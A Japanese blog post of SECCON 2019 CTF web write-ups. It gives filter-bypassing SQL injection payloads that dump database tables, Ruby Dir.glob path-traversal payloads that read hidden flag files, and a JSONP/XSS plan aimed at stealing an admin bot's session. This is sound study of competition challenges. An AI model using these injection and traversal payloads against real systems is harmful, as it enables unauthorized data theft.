はまやんはまやんはまやん

hamayanhamayan's blog

SECCON 2019 Online CTF Quals - Web Writeups

復習するのにむちゃくちゃ時間かかった。途中で力尽きた。

Option-Cmd-U

web_search

  • 前提調査
    • フォームしかないので、ここから攻撃
    • 'を入れるとエラーになるので、SQLiっぽい
    • 空白文字が消えるとか、orが消えるとかの制約があり、それをかいくぐってSQLiを実現させる
      • ORはOORRとすれば、再帰的に削除されないので、なんとかできる
      • 空白削除は/**/でなんとかする
    • #が効くので、MySQLが使われている
  • 前半解法
    • まずは取得しているテーブルの全データをぶっこ抜こう
    • [1] 'OORR'1'='1'#
      • OR'1'='1'#と解釈される
      • 'をつけないとOR1みたいになってダメなんだろう
    • [2] 'OORR(1)#
      • どういう構文だろう
      • (1)が(true)と解釈される?
    • [3] 'oorr(1);#
      • SQL文としてはセミコロンがある方が終端として正しいか
    • [4] curl http://web-search.chal.seccon.jp/ -G --data-urlencode "q='oorr/**/1=1#" -s
      • なんとなくcurlで取得するのかっこいい
  • 後半解法
    • ぶっこ抜くとflagテーブルに残りがあると提示されるので、そちらのデータを持ってくる
    • ,が使えないのが大変
      • [1]「UNIONを用いてflagを表示させたいが、,が消されるのでカラム数を合わせることが難しい」確かに
    • UNION SELECTの後でnull,とか使ってカラム数を調整するのではなく、joinを使って調整する
      • 元々のSQL文でのカラム数は3つのようだ
      • これ
      • [1] ' OORR '1' = '1' /**/ UNION /**/ SELECT /**/ * /**/ FROM /**/ (SELECT /**/ * /**/ FROM /**/ flag)aaa /**/ CROSS /**/ JOIN /**/ (SELECT /**/ * /**/ FROM /**/ flag)bbb /**/ CROSS /**/ JOIN /**/ (SELECT /**/ * /**/ FROM /**/ flag)ccc#"
        • CROSS JOINを使うことにする
        • UNION SELECT * FROM (SELECT * FROM flag) aaa CROSS JOIN (SELECT * FROM flag) bbb CROSS JOIN (SELECT * FROM flag) cccと解釈される。
        • JOIN (SELECT文) aaaとあるが、JOIN (SELECT文) AS aaaと一緒。ASが省略されていて、select文を入れるときはASが必須(多分)
      • [2] t'UNION/**/SELECT/**/*/**/FROM/**/(SELECT/**/*/**/FROM/**/flag)/**/AS/**/a/**/JOIN/**/(SELECT/**/1)/**/AS/**/b/**/JOIN/**/(SELECT/**/2)/**/AS/**/c#
        • t'UNION SELECT * FROM (SELECT * FROM flag) AS a JOIN (SELECT 1) AS b JOIN (SELECT 2) AS c#と解釈される
        • 上と方針は一緒。SELECT 1とすると、カラムが1つで中身が1のテーブルを作れる
      • [3]
        • カラム名をまず特定する。MySQLなので、inforrmation_schema.columnsが見られる。 neko'union/**/select*from(select/**/1)a/**/join(select/**/column_name/**/from/**/inforrmation_schema.columns/**/where/**/table_name='flag')b/**/join(select/**/3)c;#
        • pieceというカラム名が得られるので、neko'union/**/select*from(select/**/1)a/**/join(select/**/piece/**/from/**/flag)b/**/join(select/**/3)c;#で取得
    • [4] Blind SQL Injectionしている。何もかも特定している。こわい
      • テーブル名もカラム名も中身もぶっこ抜いてる
      • 確かにこれなら抜ける
  • 参考

fileserver

  • 前半解法
    • http://fileserver.chal.seccon.jp:9292/にアクセスすると色々見えちゃう
    • app.rbを見るとフラグをランダムな名前で/tmp/flags/においているので、これをとってくる
    • ランダムなファイル名を特定したい
    • app.rbから脆弱性を探す
      • 末尾が/のときは、42行目で分岐が入り、47行目でそのディレクトリのファイル名を取得している
      • 43行目で.が存在していたらエラーにしているので、../は使えない
      • [1,2,3,4] Dir.globのヌル文字による挙動を利用
        • Rubyのファイル読み込み系メソッドとヌル文字の関係については、CVE-2018-8780やCVE-2019-15845など
        • Dir.globでは%00を使うことでOR検索ができる仕様がある これ
        • よって、http://fileserver.chal.seccon.jp:9292/%00/tmp/flags/でflagのパスを回収できる
          • こうすると、req.pathには/\x00/tmp/flags/となり、Dir.globには./\x00/tmp/flags/*となる
          • これで.//tmp/flags/*のOR検索になるので、後ろの条件で情報が取れる
  • 後半解法
    • 普通にhttp://fileserver.chal.seccon.jp:9292/../tmp/flags/flagname.txtとするとダメ。
      • Chromeだと自動でhttp://fileserver.chal.seccon.jp:9292/tmp/flags/flagname.txtになる
      • curlでやってみると、req.pathには/tmp/flags/flagname.txtとなって出てくる。
    • 今回の問題の重要なところは、「WEBrickの正規化処理」と「is_bad_pathチェック」の両方をすり抜けるペイロード作成
    • is_bad_pathの脆弱性
      • [はあるが、]がないときに問題なしで帰ってくるらしい
      • なんか全然わからんぞ…
    • Dir.globの{}の仕様
      • Dir.globでは{A,B}Cと書くとACCBのOR検索になる。これを利用して…
        • 不要な文字を入れ込める {不要,必要}
        • 事前のフィルタリングを回避できる {.}{.}/と書くと../のフィルタリングを回避しつつ、Dir.globでは../で解釈される
    • 攻撃コード
      • [1] /.\./.\./.\./.\./.\./.\./.\./tm{p,\[}/flags/xxx.txt
        • req.pathには/.%5C./.%5C./.%5C./.%5C./.%5C./.%5C./.%5C./tm%7Bp,%5C%5B%7D/flags/xxx.txtで来る
        • is_bad_pathは[があるからOKで通る
        • Dir.globには省略可能な第二引数としてFile.fnmatchのフラグをつけることができる
          • File::FNM_NOESCAPEという\をエスケープしないというフラグがある
          • \.ってどのように解釈されるんだろう
            • The \. is a "literal dot", i.e. just a dot. 出典
            • ほんまか?と思ったが、正規表現でただのドットを表現するときに\.と書くみたい これ File.fnmatch
      • [1] /.{a,}./.{a,}./.{a,}./.{a,}./tm{[,p}/flags/xxx.txt
        • WEBrickの正規化処理を{a,}を入れ込むことで回避
      • [1] /{aa[a,/tmp/flags/xxx.txt}
        • これで、大胆にも絶対パスとして/tmp/flags/xxx.txtを取得可能
      • [1] /{.}{.}/{.}{.}/{.}{.}/{.}{.}/tm{[,p}/flags/xxx.txt
      • [2] /{[,}{.}{.}/tmp/flags/s7AD49PrpULN0XCgqJ5nx0yw7ovkusrz.txt
      • [3] http://fileserver.chal.seccon.jp:9292/%7B%5B,/tmp/flags/mYIKCsvCxSt8dyFZBwEigSE767LClauK.txt%7D
        • 3番目の攻撃コードとほぼ同じ
      • [4] http://fileserver.chal.seccon.jp:9292/%7B.,%5b%7D./tmp/flags/JdQI8p0VQhRnHwM0kenRPF4hTiFBJFt8.txt
      • [5] http://fileserver.chal.seccon.jp:9292/%7b%5b,/%7dtmp/flags/MMnHIU0fofiPdL1HlJkyQgDu4O8YNERR.txt
  • 参考

SPA

  • 解法
    • 弱そうな所はADMINへの報告機能だろう
    • とりあえずRequestBinでアドレスを指定して送ってみる
      • User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/79.0.3941.4 Safari/537.36 とヘッドレスブラウザが動いている
      • 不正なアドレスを送りつけて、サーバ側のヘッドレスブラウザから危ないことをしてやろうという作戦
      • セッションジャックか?このサイトに対する管理者のセッションを抜いてやろうという悪意か
    • なので、まずはサイト内でXXSっぽいことができないか探す
      • 外部からなにか受け取って表示している所といえば…
        • const contestId = location.hash.slice(1);でlocation.hashからコンテストIDを受け取っている
        • this.contest = await $.getJSON(/${contestId}.json)でその情報を取得している
        • http://spa.chal.seccon.jp:18364/#/example.com/aとすると、http://example.com/a.jsonを探しに行く
          • なお、アクセスを受ける側で Access-Control-Allow-Origin を指定すると、 JSON に書かれた好きな内容を表示できる
      • jQuery の getJSON のドキュメントを見てみると、 callback=? が URL に含まれる場合には JSONP として解釈する
      • 自前でアクセス先を用意してアクセスさせよう
        • [2]で示されているPHPコードがとてもわかり易い
  • 参考

SECCON_multiplicater

HakoniwaPay